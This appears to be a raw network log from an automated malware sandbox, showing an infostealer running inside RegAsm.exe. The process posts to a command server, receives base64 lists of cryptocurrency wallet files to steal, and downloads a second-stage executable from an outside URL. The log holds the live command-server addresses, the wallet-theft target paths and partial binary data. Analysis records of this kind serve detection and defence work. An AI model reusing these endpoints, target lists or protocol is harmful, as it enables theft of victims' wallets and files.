Data Ascii: MZ@!L!This program cannot be run in DOS mode.$08euRichPEL\|0]"!0m@AA 8 @.text `.data@.idata@@.rsrc@@.reloc @B
Sep 9, 2024 18:45:08.041718006 CEST	201	OUT	POST /92335b4816f77e90.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----DHCAECGIEBKJKEBGDHDA Host: 45.152.113.10 Content-Length: 1067 Connection: Keep-Alive Cache-Control: no-cache
Sep 9, 2024 18:45:08.274410963 CEST	202	IN	HTTP/1.1 200 OK Date: Mon, 09 Sep 2024 16:45:08 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=84 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Sep 9, 2024 18:45:08.296688080 CEST	467	OUT	POST /92335b4816f77e90.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----AFCBAEBAEBFHCAKFCAKE Host: 45.152.113.10 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 41 46 43 42 41 45 42 41 45 42 46 48 43 41 4b 46 43 41 4b 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 35 64 63 66 65 39 35 36 30 38 38 34 30 64 66 38 30 66 64 65 61 37 34 63 37 66 34 34 63 30 33 63 62 35 30 65 30 65 62 34 63 34 39 64 64 33 37 65 36 38 37 39 65 39 30 38 30 38 38 65 65 62 31 63 37 30 31 64 39 33 31 0d 0a 2d 2d 2d 2d 2d 2d 41 46 43 42 41 45 42 41 45 42 46 48 43 41 4b 46 43 41 4b 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 41 46 43 42 41 45 42 41 45 42 46 48 43 41 4b 46 43 41 4b 45 2d 2d 0d 0a Data Ascii: ------AFCBAEBAEBFHCAKFCAKEContent-Disposition: form-data; name="token"c5dcfe95608840df80fdea74c7f44c03cb50e0eb4c49dd37e6879e908088eeb1c701d931------AFCBAEBAEBFHCAKFCAKEContent-Disposition: form-data; name="message"wallets------AFCBAEBAEBFHCAKFCAKE--
Sep 9, 2024 18:45:08.438045979 CEST	1236	IN	HTTP/1.1 200 OK Date: Mon, 09 Sep 2024 16:45:08 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 2408 Keep-Alive: timeout=5, max=83 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 51 6d 6c 30 59 32 39 70 62 69 42 44 62 33 4a 6c 66 44 46 38 58 45 4a 70 64 47 4e 76 61 57 35 63 64 32 46 73 62 47 56 30 63 31 78 38 64 32 46 73 62 47 56 30 4c 6d 52 68 64 48 77 78 66 45 4a 70 64 47 4e 76 61 57 34 67 51 32 39 79 5a 53 42 50 62 47 52 38 4d 58 78 63 51 6d 6c 30 59 32 39 70 62 6c 78 38 4b 6e 64 68 62 47 78 6c 64 43 6f 75 5a 47 46 30 66 44 42 38 52 47 39 6e 5a 57 4e 76 61 57 35 38 4d 58 78 63 52 47 39 6e 5a 57 4e 76 61 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 46 4a 68 64 6d 56 75 49 45 4e 76 63 6d 56 38 4d 58 78 63 55 6d 46 32 5a 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 45 52 68 5a 57 52 68 62 48 56 7a 49 45 31 68 61 57 35 75 5a 58 52 38 4d 58 78 63 52 47 46 6c 5a 47 46 73 64 58 4d 67 54 57 46 70 62 6d 35 6c 64 46 78 33 59 57 78 73 5a 58 52 7a 58 48 78 7a 61 47 55 71 4c 6e 4e 78 62 47 6c 30 5a 58 77 77 66 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 46 74 49 45 64 79 5a 57 56 75 66 44 46 38 58 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 [TRUNCATED] Data Ascii: Qml0Y29pbiBDb3JlfDF8XEJpdGNvaW5cd2FsbGV0c1x8d2FsbGV0LmRhdHwxfEJpdGNvaW4gQ29yZSBPbGR8MXxcQml0Y29pblx8KndhbGxldCouZGF0fDB8RG9nZWNvaW58MXxcRG9nZWNvaW5cfCp3YWxsZXQqLmRhdHwwfFJhdmVuIENvcmV8MXxcUmF2ZW5cfCp3YWxsZXQqLmRhdHwwfERhZWRhbHVzIE1haW5uZXR8MXxcRGFlZGFsdXMgTWFpbm5ldFx3YWxsZXRzXHxzaGUqLnNxbGl0ZXwwfEJsb2Nrc3RyZWFtIEdyZWVufDF8XEJsb2Nrc3RyZWFtXEdyZWVuXHdhbGxldHNcfCouKnwxfFdhc2FiaSBXYWxsZXR8MXxcV2FsbGV0V2FzYWJpXENsaWVudFxXYWxsZXRzXHwqLmpzb258MHxFdGhlcmV1bXwxfFxFdGhlcmV1bVx8a2V5c3RvcmV8MHxFbGVjdHJ1bXwxfFxFbGVjdHJ1bVx3YWxsZXRzXHwqLip8MHxFbGVjdHJ1bUxUQ3wxfFxFbGVjdHJ1bS1MVENcd2FsbGV0c1x8Ki4qfDB8RXhvZHVzfDF8XEV4b2R1c1x8ZXhvZHVzLmNvbmYuanNvbnwwfEV4b2R1c3wxfFxFeG9kdXNcfHdpbmRvdy1zdGF0ZS5qc29ufDB8RXhvZHVzXGV4b2R1cy53YWxsZXR8MXxcRXhvZHVzXGV4b2R1cy53YWxsZXRcfHBhc3NwaHJhc2UuanNvbnwwfEV4b2R1c1xleG9kdXMud2FsbGV0fDF8XEV4b2R1c1xleG9kdXMud2FsbGV0XHxzZWVkLnNlY298MHxFeG9kdXNcZXhvZHVzLndhbGxldHwxfFxFeG9kdXNcZXhvZHVzLndhbGxldFx8aW5mby5zZWNvfDB8RWxlY3Ryb24gQ2FzaHwxfFxFbGVjdHJvbkNhc2hcd2FsbGV0c1x8Ki4qfDB8TXVsdGlEb2dlfDF8
Sep 9, 2024 18:45:08.440448999 CEST	465	OUT	POST /92335b4816f77e90.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----GHJDHDAECBGCAKEBAEBA Host: 45.152.113.10 Content-Length: 265 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 47 48 4a 44 48 44 41 45 43 42 47 43 41 4b 45 42 41 45 42 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 35 64 63 66 65 39 35 36 30 38 38 34 30 64 66 38 30 66 64 65 61 37 34 63 37 66 34 34 63 30 33 63 62 35 30 65 30 65 62 34 63 34 39 64 64 33 37 65 36 38 37 39 65 39 30 38 30 38 38 65 65 62 31 63 37 30 31 64 39 33 31 0d 0a 2d 2d 2d 2d 2d 2d 47 48 4a 44 48 44 41 45 43 42 47 43 41 4b 45 42 41 45 42 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 47 48 4a 44 48 44 41 45 43 42 47 43 41 4b 45 42 41 45 42 41 2d 2d 0d 0a Data Ascii: ------GHJDHDAECBGCAKEBAEBAContent-Disposition: form-data; name="token"c5dcfe95608840df80fdea74c7f44c03cb50e0eb4c49dd37e6879e908088eeb1c701d931------GHJDHDAECBGCAKEBAEBAContent-Disposition: form-data; name="message"files------GHJDHDAECBGCAKEBAEBA--
Sep 9, 2024 18:45:09.541385889 CEST	202	IN	HTTP/1.1 200 OK Date: Mon, 09 Sep 2024 16:45:08 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=82 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Sep 9, 2024 18:45:09.544909954 CEST	202	IN	HTTP/1.1 200 OK Date: Mon, 09 Sep 2024 16:45:08 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=82 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Sep 9, 2024 18:45:09.545727968 CEST	202	IN	HTTP/1.1 200 OK Date: Mon, 09 Sep 2024 16:45:08 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=82 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Sep 9, 2024 18:45:09.546653032 CEST	202	IN	HTTP/1.1 200 OK Date: Mon, 09 Sep 2024 16:45:08 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=82 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Sep 9, 2024 18:45:09.603661060 CEST	203	OUT	POST /92335b4816f77e90.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----AEHIJDAFBKFHIDGCFBFC Host: 45.152.113.10 Content-Length: 113391 Connection: Keep-Alive Cache-Control: no-cache
Sep 9, 2024 18:45:11.003809929 CEST	202	IN	HTTP/1.1 200 OK Date: Mon, 09 Sep 2024 16:45:09 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=81 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Sep 9, 2024 18:45:11.004386902 CEST	202	IN	HTTP/1.1 200 OK Date: Mon, 09 Sep 2024 16:45:09 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=81 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Sep 9, 2024 18:45:11.007705927 CEST	472	OUT	POST /92335b4816f77e90.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HCBAKJEHDBGHIEBGCGDG Host: 45.152.113.10 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 48 43 42 41 4b 4a 45 48 44 42 47 48 49 45 42 47 43 47 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 35 64 63 66 65 39 35 36 30 38 38 34 30 64 66 38 30 66 64 65 61 37 34 63 37 66 34 34 63 30 33 63 62 35 30 65 30 65 62 34 63 34 39 64 64 33 37 65 36 38 37 39 65 39 30 38 30 38 38 65 65 62 31 63 37 30 31 64 39 33 31 0d 0a 2d 2d 2d 2d 2d 2d 48 43 42 41 4b 4a 45 48 44 42 47 48 49 45 42 47 43 47 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 48 43 42 41 4b 4a 45 48 44 42 47 48 49 45 42 47 43 47 44 47 2d 2d 0d 0a Data Ascii: ------HCBAKJEHDBGHIEBGCGDGContent-Disposition: form-data; name="token"c5dcfe95608840df80fdea74c7f44c03cb50e0eb4c49dd37e6879e908088eeb1c701d931------HCBAKJEHDBGHIEBGCGDGContent-Disposition: form-data; name="message"ybncbhylepme------HCBAKJEHDBGHIEBGCGDG--
Sep 9, 2024 18:45:11.149960041 CEST	267	IN	HTTP/1.1 200 OK Date: Mon, 09 Sep 2024 16:45:11 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 64 Keep-Alive: timeout=5, max=80 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 61 48 52 30 63 48 4d 36 4c 79 39 6c 64 6d 39 72 5a 57 56 6b 5a 32 56 73 62 47 4d 75 59 32 39 74 4c 32 46 77 63 43 39 73 4d 69 35 6c 65 47 56 38 4d 48 77 77 66 46 4e 30 59 58 4a 30 66 44 42 38 Data Ascii: aHR0cHM6Ly9ldm9rZWVkZ2VsbGMuY29tL2FwcC9sMi5leGV8MHwwfFN0YXJ0fDB8
Sep 9, 2024 18:45:16.049371004 CEST	472	OUT	POST /92335b4816f77e90.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----DHCAECGIEBKJKEBGDHDA Host: 45.152.113.10 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 44 48 43 41 45 43 47 49 45 42 4b 4a 4b 45 42 47 44 48 44 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 35 64 63 66 65 39 35 36 30 38 38 34 30 64 66 38 30 66 64 65 61 37 34 63 37 66 34 34 63 30 33 63 62 35 30 65 30 65 62 34 63 34 39 64 64 33 37 65 36 38 37 39 65 39 30 38 30 38 38 65 65 62 31 63 37 30 31 64 39 33 31 0d 0a 2d 2d 2d 2d 2d 2d 44 48 43 41 45 43 47 49 45 42 4b 4a 4b 45 42 47 44 48 44 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 44 48 43 41 45 43 47 49 45 42 4b 4a 4b 45 42 47 44 48 44 41 2d 2d 0d 0a Data Ascii: ------DHCAECGIEBKJKEBGDHDAContent-Disposition: form-data; name="token"c5dcfe95608840df80fdea74c7f44c03cb50e0eb4c49dd37e6879e908088eeb1c701d931------DHCAECGIEBKJKEBGDHDAContent-Disposition: form-data; name="message"wkkjqaiaxkhb------DHCAECGIEBKJKEBGDHDA--
Sep 9, 2024 18:45:16.351892948 CEST	472	OUT	POST /92335b4816f77e90.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----DHCAECGIEBKJKEBGDHDA Host: 45.152.113.10 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 44 48 43 41 45 43 47 49 45 42 4b 4a 4b 45 42 47 44 48 44 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 35 64 63 66 65 39 35 36 30 38 38 34 30 64 66 38 30 66 64 65 61 37 34 63 37 66 34 34 63 30 33 63 62 35 30 65 30 65 62 34 63 34 39 64 64 33 37 65 36 38 37 39 65 39 30 38 30 38 38 65 65 62 31 63 37 30 31 64 39 33 31 0d 0a 2d 2d 2d 2d 2d 2d 44 48 43 41 45 43 47 49 45 42 4b 4a 4b 45 42 47 44 48 44 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 44 48 43 41 45 43 47 49 45 42 4b 4a 4b 45 42 47 44 48 44 41 2d 2d 0d 0a Data Ascii: ------DHCAECGIEBKJKEBGDHDAContent-Disposition: form-data; name="token"c5dcfe95608840df80fdea74c7f44c03cb50e0eb4c49dd37e6879e908088eeb1c701d931------DHCAECGIEBKJKEBGDHDAContent-Disposition: form-data; name="message"wkkjqaiaxkhb------DHCAECGIEBKJKEBGDHDA--

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49723	45.152.113.10	80	2680	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
Sep 9, 2024 18:45:16.861829996 CEST	472	OUT	POST /92335b4816f77e90.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----DHCAECGIEBKJKEBGDHDA Host: 45.152.113.10 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 44 48 43 41 45 43 47 49 45 42 4b 4a 4b 45 42 47 44 48 44 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 35 64 63 66 65 39 35 36 30 38 38 34 30 64 66 38 30 66 64 65 61 37 34 63 37 66 34 34 63 30 33 63 62 35 30 65 30 65 62 34 63 34 39 64 64 33 37 65 36 38 37 39 65 39 30 38 30 38 38 65 65 62 31 63 37 30 31 64 39 33 31 0d 0a 2d 2d 2d 2d 2d 2d 44 48 43 41 45 43 47 49 45 42 4b 4a 4b 45 42 47 44 48 44 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 44 48 43 41 45 43 47 49 45 42 4b 4a 4b 45 42 47 44 48 44 41 2d 2d 0d 0a Data Ascii: ------DHCAECGIEBKJKEBGDHDAContent-Disposition: form-data; name="token"c5dcfe95608840df80fdea74c7f44c03cb50e0eb4c49dd37e6879e908088eeb1c701d931------DHCAECGIEBKJKEBGDHDAContent-Disposition: form-data; name="message"wkkjqaiaxkhb------DHCAECGIEBKJKEBGDHDA--
Sep 9, 2024 18:45:18.626271963 CEST	203	IN	HTTP/1.1 200 OK Date: Mon, 09 Sep 2024 16:45:17 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Sep 9, 2024 18:45:18.627095938 CEST	203	IN	HTTP/1.1 200 OK Date: Mon, 09 Sep 2024 16:45:17 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Sep 9, 2024 18:45:18.627736092 CEST	203	IN	HTTP/1.1 200 OK Date: Mon, 09 Sep 2024 16:45:17 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49717	198.54.120.231	443	2680	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-09 16:45:12 UTC	77	OUT	GET /app/l2.exe HTTP/1.1 Host: evokeedgellc.com Cache-Control: no-cache
2024-09-09 16:45:12 UTC	290	IN	HTTP/1.1 200 OK keep-alive: timeout=5, max=100 content-type: application/x-msdownload last-modified: Sun, 01 Sep 2024 13:57:54 GMT accept-ranges: bytes content-length: 4563640 date: Mon, 09 Sep 2024 16:45:12 GMT server: LiteSpeed x-turbo-charged-by: LiteSpeed connection: close
2024-09-09 16:45:12 UTC	16094	IN	Data Raw: 4d 5a 40 00 01 00 00 00 02 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 0a 00 00 00 00 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 57 69 6e 33 32 20 2e 45 58 45 2e 0d 0a 24 40 00 00 00 50 45 00 00 4c 01 03 00 a9 4d d8 61 00 00 00 00 00 00 00 00 e0 00 02 03 0b 01 0e 1d 00 18 00 00 00 5e 19 00 00 00 00 00 c8 80 77 00 00 10 00 00 00 30 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 90 7d 00 00 02 00 00 6d 1a 46 00 02 00 00 85 00 00 10 00 00 d0 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 80 77 00 c8 00 00 00 00 90 77 00 7c f6 05 00 00 00 00 00 00 00 00 00 00 8a 45 00 b8 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: MZ@!L!Win32 .EXE.$@PELMa^w0@}mFww\|E
2024-09-09 16:45:12 UTC	16384	IN	Data Raw: 86 51 d5 a7 c9 17 b7 e1 50 21 08 78 75 9d 83 7f c6 e4 fb 86 97 a3 43 8a 64 e7 fc df 63 c9 4d 0d 35 2e 7f 65 e0 df 61 9f 71 c0 62 42 6d 9b e1 6b 5f d4 3f 67 cc 4c fa 7b aa 78 db 83 6b 6f 0a c4 67 92 4c fe 27 8b 15 35 3e e9 24 fb 64 c7 50 e9 a6 bd c9 82 68 69 ab c6 a1 19 11 e2 42 f8 7b 32 45 c9 98 2d 41 f8 fe 0a 94 ac 32 89 2a b1 97 c9 62 52 b1 10 54 dd a4 8a 75 a7 8c cd 0b 65 30 6f 3a 9e 3f d8 8a 96 d0 8a dc 19 a8 28 3f cc e6 a0 55 5f 7e e4 ef ea a0 63 18 1d 8d 2c 5c 5f 33 ce 8b 49 a8 ab cd bf 02 f4 50 2e 31 56 fe 32 1c da 7e 40 28 e3 27 91 ab 50 75 30 21 35 06 01 73 43 08 12 51 c7 23 75 ea 26 f9 16 85 f1 5e a0 7f 2f 52 d7 55 b7 84 d5 5f 9c 59 3a 92 dd 7d c4 61 ad 35 58 ed b1 72 97 38 3c c2 fd d6 43 ff 90 f8 fb 42 94 f4 91 55 4c 5c b2 29 8a d5 ba 01 94 5e Data Ascii: QP!xuCdcM5.eaqbBmk_?gL{xkogL'5>$dPhiB{2E-A2*bRTue0o:?(?U_~c,\_3IP.1V2~@('Pu0!5sCQ#u&^/RU_Y:}a5Xr8<CBUL\)^
2024-09-09 16:45:12 UTC	16384	IN	Data Raw: 32 8a 51 36 70 69 da 2d f2 df 13 b9 cb ce e2 0a 3e 8a c9 11 30 1b 93 13 54 83 03 ee 2f ae c0 51 bd 32 5f 69 34 23 5a e5 29 c0 45 61 f5 fd e1 0d 5b 51 6f e4 ca 30 9d ee c0 f9 39 21 7a a4 0a 8b 58 0c 10 99 5f 74 6d a4 61 aa de d8 a9 3b 98 b2 9e d6 42 7a 9f aa 5e 2a 50 51 39 41 02 fa 50 a6 dd fb d5 a5 16 81 4c 03 d3 67 f6 8d 91 92 4f 8a 7f 4d 85 a8 b8 dc d1 1a 73 a5 b2 c2 d4 79 ce 82 fb 51 98 31 05 86 6d 3e 2e 64 51 22 5c 36 33 e9 f2 38 77 7d 7f 84 06 c4 95 36 fb 02 f2 d5 ff 78 63 33 9f 44 fd a9 d6 bb 36 fe 3d 02 6b 4e df 99 b0 df f2 63 25 9c 1b 5e a3 aa a0 73 41 ff 1d a2 e5 d4 7c 22 47 88 0a 87 0b e1 5c 2d cb 72 9f a3 c0 08 66 e8 50 7a c7 5c 1f 4e ed 6d 72 91 36 77 cc b9 7c 22 1a 46 5b f6 f3 25 c5 64 8b ca 2f 37 74 2e 5d fc d0 50 af 00 f3 a1 2a 24 43 63 4e Data Ascii: 2Q6pi->0T/Q2_i4#Z)Ea[Qo09!zX_tma;Bz^PQ9APLgOMsyQ1m>.dQ"\638w}6xc3D6=kNc%^sA\|"G\-rfPz\Nmr6w\|"F[%d/7t.]P$CcN
2024-09-09 16:45:12 UTC	15260	IN	Data Raw: e3 24 d6 c4 94 00 0c 4e 1f 1c ef 58 5c 95 bf ad c0 fe d6 14 b5 7c 80 76 f7 7d c5 24 20 83 df 29 62 87 79 49 96 8a 03 00 b2 2c 68 59 68 d8 44 4a 3d 74 40 a8 bd 0f 18 a0 30 1b 45 20 c1 da 31 28 d9 b1 f6 d7 a4 c8 d1 d5 0e aa 4f f7 52 80 3e 12 d8 2e 6d 3f c2 bd 0d 14 e9 e3 34 0f 59 40 db a3 af 2a 07 be 28 a9 11 df 6f b6 dd 91 1c 3b 4c 18 3b e9 29 1d ab ac b7 64 84 1e f6 33 c2 7c 3f 7d ea e4 00 1d 89 ea 64 f9 ce 35 dc 2a 68 60 5c 5c 28 c4 f4 e1 4f dc 4d e8 b9 4f 1d 63 06 be 34 26 50 88 e3 e9 06 c0 9c 43 da 8e 0d 32 97 4d 00 05 92 60 b5 d1 3f 5f 9b 8e 5d 48 99 5a a0 65 60 ee 34 65 a5 7b 49 a7 c1 2e 3e c0 3f ef be 13 25 73 c6 3a 67 29 3e c1 9c c7 2c 3e 02 43 c0 68 cf a2 4e 3e 8f c2 14 17 92 be 9a f1 1c 87 55 84 c7 03 31 cc fb bd 46 a8 01 d4 2f d0 e4 2f a3 fd d4 Data Ascii: $NX\\|v}$ )byI,hYhDJ=t@0E 1(OR>.m?4Y@(o;L;)d3\|?}d5h`\\(OMOc4&PC2M`?_]HZe`4e{I.>?%s:g)>,>ChN>U1F//
2024-09-09 16:45:12 UTC	1071	IN	Data Raw: f5 bc eb 1a f8 39 de a7 c9 ed 44 95 d4 ac 86 4e 59 b2 9c a3 44 2b b3 bd 40 84 7d f6 a6 1f 07 a8 8e 27 a3 b6 a2 42 d4 bd 43 5c 32 92 44 ea 58 f5 75 95 13 86 6a 95 1d bf 3d 89 2e a0 50 a0 ae a3 e3 24 60 5f 4d c6 90 56 05 af 1d 8c a9 b6 26 41 d2 69 30 22 cf 54 ca 58 20 a3 c3 65 63 b3 f8 eb db b7 63 69 3a 61 c0 50 ac 2d f6 41 b2 cb bd 6d e3 10 55 c3 67 b5 05 65 61 fb 8b 1d 23 44 c1 cc be 47 ba 78 5a 43 30 d6 54 be bb 68 41 9e a5 97 dc ad c2 d1 14 ec c1 03 fd 06 0a 32 ba 78 ee 7b 89 80 55 d7 64 db 0b a6 80 34 ad 37 34 8e 6f ff 54 cb f9 77 8b c5 21 1d f6 f6 48 21 ca c9 d9 3d 3a e7 1b b5 a6 b8 5e ea 73 d1 27 34 85 50 2a 7c a1 1c be cf a2 e6 c7 3f 6b 8e 4c b3 df 98 57 ed fc e3 18 4c 1a 46 1a 09 68 83 f2 e5 7d 07 99 d3 ef 23 dd c8 48 3d 55 91 15 b9 99 31 fe 86 99 Data Ascii: 9DNYD+@}'BC\2DXuj=.P$`_MV&Ai0"TX ecci:aP-AmUgea#DGxZC0ThA2x{Ud474oTw!H!=:^s'4P*\|?kLWLFh}#H=U1
2024-09-09 16:45:12 UTC	16384	IN	Data Raw: 50 44 10 d2 ad d9 c9 a2 79 f9 2f a1 c6 6d a4 62 58 6a 76 35 eb 3d 66 30 24 c7 7b e5 95 44 db 79 19 98 e4 87 74 ac 8c 48 a0 b4 63 9c 86 77 66 1f 00 e1 37 31 71 74 4e b0 86 3d dc d4 05 65 f3 b6 be a2 e5 7b 72 3c 3c 77 b3 35 8e 52 33 e0 f5 bd 06 40 46 03 15 e3 d7 6e da 69 30 f4 05 a9 1f e0 4c e5 c9 f2 2f 19 ec 85 fc 8a 82 fd 47 00 7c ac 06 66 bc 8c 50 5d a9 7d 42 17 9c ff 22 e6 18 96 96 89 72 b0 6f 2d 6a a0 5b 07 8f 6d cb 0b 0b 52 32 15 86 48 36 a3 de 90 a5 2b bd 37 10 5c c1 8d 38 c9 27 aa e2 d8 0d 03 2e 3c 0b a0 53 40 a4 90 37 53 0f e2 4e 95 5b f1 9a 1c 10 f8 2f ee 53 83 7f 4f f1 a8 34 d1 3e ef 62 64 fd be cd 1a e9 52 7c d3 44 ef 3e 54 14 83 6f 85 44 a1 e7 a8 c0 e1 e9 57 2f 3c 83 45 31 31 bd 84 e4 8d 6e 89 1d 04 33 0e 74 34 ad d3 b1 64 55 c2 8e 72 67 74 9e Data Ascii: PDy/mbXjv5=f0${DytHcwf71qtN=e{r<<w5R3@Fni0L/G\|fP]}B"ro-j[mR2H6+7\8'.<S@7SN[/SO4>bdR\|D>ToDW/<E11n3t4dUrgt
